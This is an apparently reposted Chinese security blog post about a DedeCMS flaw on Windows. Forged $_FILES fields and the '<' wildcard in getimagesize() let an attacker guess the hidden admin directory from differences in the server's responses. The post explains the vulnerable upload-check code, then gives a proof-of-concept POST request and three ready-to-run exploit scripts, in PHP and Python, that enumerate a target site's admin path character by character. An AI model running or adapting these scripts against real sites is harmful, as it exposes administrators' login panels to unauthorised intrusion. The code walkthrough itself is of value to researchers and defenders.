dedecms后台路径猜解漏洞poc 非暴力破解

利用限制

  • 仅针对windows系统

进入正题

首先看核心文件common.inc.php 大概148行左右

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

uploadsafe.inc.php

if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
    exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name 
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}
if(empty(${$_key.'_size'}))
{
    ${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
    "image/pjpeg", "image/jpeg", "image/gif", "image/png", 
    "image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key); 
    //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}
......

注意$$_key这一句,变量$key取自于$_FILE,由于$_FILE可控自然$key也可控,此处理论上是可以覆盖任意变量,但是前面有个正则判断不能出现cfg_|GLOBALS。(但是应该还可以覆盖其他变量此处感觉还可以深挖)

本人出发点是找个可以利用<<通配符猜解后台目录,所以只要$$_key参数可控就可以达到目的。

修正一处笔误。
但在这之前有个if(!defined('DEDEADMIN'))的判断,这个很好绕过设置tmp_name为0或者1.jpg含. 就可以绕过。

if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )
    {   
        if(!defined('DEDEADMIN'))
        {
            exit('Not Admin Upload filetype not allow !');
        }
    }
    这个判断只需要设置${$_key.'_name'} 的值为0或者1.jpg 含点“ . ” 既可以绕过 如:_FILES[b4dboy][name]=1.jpg

最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。

当目录文件存在的时候 返回正常页面。当不存在的时候返回:Upload filetype not allow !

举个例子

文字不好表达,便于理解。

<?php
// ./dedecms/favicon.ico
if(@getimagesize($_GET['poc'])){
    echo 1;
}else {
    echo 0;
}
?>
get:
http://localhost/test.php?poc=./d</favicon.ico
返回:1

http://localhost/test.php?poc=./a</favicon.ico
返回:0

http://localhost/test.php?poc=./de</favicon.ico
返回:1

http://localhost/test.php?poc=./ded</favicon.ico
返回:1

........

构造poc

http://localhost/dedecms/tags.php

post:

dopost=save&_FILES[b4dboy][tmp_name]=./de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif

Common.inc.php 是被全局包含的文件,只要文件php文件包含了Common.inc.php都可以进行测试,以tags.php文件为例

当目录存在点时候: 图1


当目录不存在点时候: 图2

EXP:

<?php
$domain='http://localhost/dedecms/';
$url=$domain.'/index.php';
function post($url, $data, $cookie = '') {
    $options = array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => true,
        CURLOPT_POST => true,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_COOKIE => $cookie,
        CURLOPT_POSTFIELDS => $data,
    );
    $ch = curl_init($url);
    curl_setopt_array($ch, $options);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}
$testlen=25;
$str=range('a','z');
$number=range(0,9,1);
$dic = array_merge($str, $number);
$n=true;
$nn=true;
$path='';
while($n){
    foreach($dic as $v){
        foreach($dic as $vv){
            #echo $v.$vv .'----';
            $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
            $result=post($url,$post_data);
            if(strpos($result,'Upload filetype not allow !') === false){
                $path=$v.$vv;$n=false;break 2;
            }
        }
    }
}
while($nn){
    foreach($dic as $vvv){
        $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
        $result=post($url,$post_data);
        if(strpos($result,'Upload filetype not allow !') === false){
            $path.=$vvv;
            echo $path . PHP_EOL;
            $giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';
            if(@file_get_contents($giturl)){
                echo $domain.'/'.$path.'/';
                $nn=false;break 2;
            }
        }
    }
}
?>


感谢

感谢给我提供这个思路的朋友

参考文章

https://www.t00ls.net/viewthread.php?tid=27472
http://onsec.ru/onsec.whitepaper-02.eng.pdf
https://www.t00ls.net/viewthread.php?tid=25843

另外网友提供的exp

php版本

<?php
    /*
        dedecms 后台地址爆破工具
        使用程序时,必须指定dedecms的版本,例如:5.6
        当你不确定dedecms版本时,请将5.6和5.7两个版本都尝试一遍,总有一个适合您!
        Example: php.exe dedecms-exp.php 5.6 http://127.0.0.1/
    */

    if(!isset($argv[1]) or !isset($argv[2])) {
        exit("error!
Example: php.exe dedecms-exp.php 5.6 http://127.0.0.1/");
    }

    $domain = $argv[2];
    $url = $domain . '/tags.php';
    $version = $argv[1];

    $path = my_func($url);

    if($path) {
        while(($path = my_func($url, $path))) {
            echo strtolower($path) . "
";
        }
    }
    else {
        for($i = 48; $i <= 90; $i++) {
            if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
                $path = my_func($url, chr($i));
                while($path) {
                    echo strtolower($path) . "
";
                    $path = my_func($url, $path);
                }
            }
        }
    }

    exit();

    function my_func($url, $path = '') {
        $ch = curl_init($url);
        $i = 48;
        global $version;

        while($i <= 90) {
            if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
                if($version != '5.7') {
                    /* v5.6版本及其以下 */
                    $admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
                }
                else {
                    /* v5.7版本 */
                    $admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';
                }

                $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';

                $options = array(
                                CURLOPT_USERAGENT => 'Firefox/58.0',
                                CURLOPT_RETURNTRANSFER => true,
                                CURLOPT_POST => true,
                                CURLOPT_POSTFIELDS => $data,
                );

                curl_setopt_array($ch, $options);

                $response = curl_exec($ch);

                if(!preg_match('/(Upload filetype not allow !)/i', $response)) {
                    $path = $path . chr($i);
                    return $path;
                }
            }

            $i++;
        }

        curl_close($ch);
        return false;
    }

?>


python版本

#!/usr/bin/env python
'''/*
    * author = Mochazz
    * team   = 红日安全团队
    * env    = pyton3
    *
    */
'''
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://192.168.1.9/tags.php"
data = {
    "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
    "_FILES[mochazz][name]" : 0,
    "_FILES[mochazz][size]" : 0,
    "_FILES[mochazz][type]" : "image/gif"
}

for num in range(1,7):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = ''.join(list(pre))
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
        print("testing",pre)
        r = requests.post(url,data=data)
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
            flag = 1
            back_dir = pre
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为:",back_dir)
flag = 0
for i in range(30):
    if flag:
        break
    for ch in characters:
        if ch == characters[-1]:
            flag = 1
            break
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
        r = requests.post(url, data=data)
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
            back_dir += ch
            print("[+] ",back_dir)
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"

print("后台地址为:",back_dir)

演示结果:



文章来源  https://xianzhi.aliyun.com/forum/topic/2064

您可能还会对下面的文章感兴趣: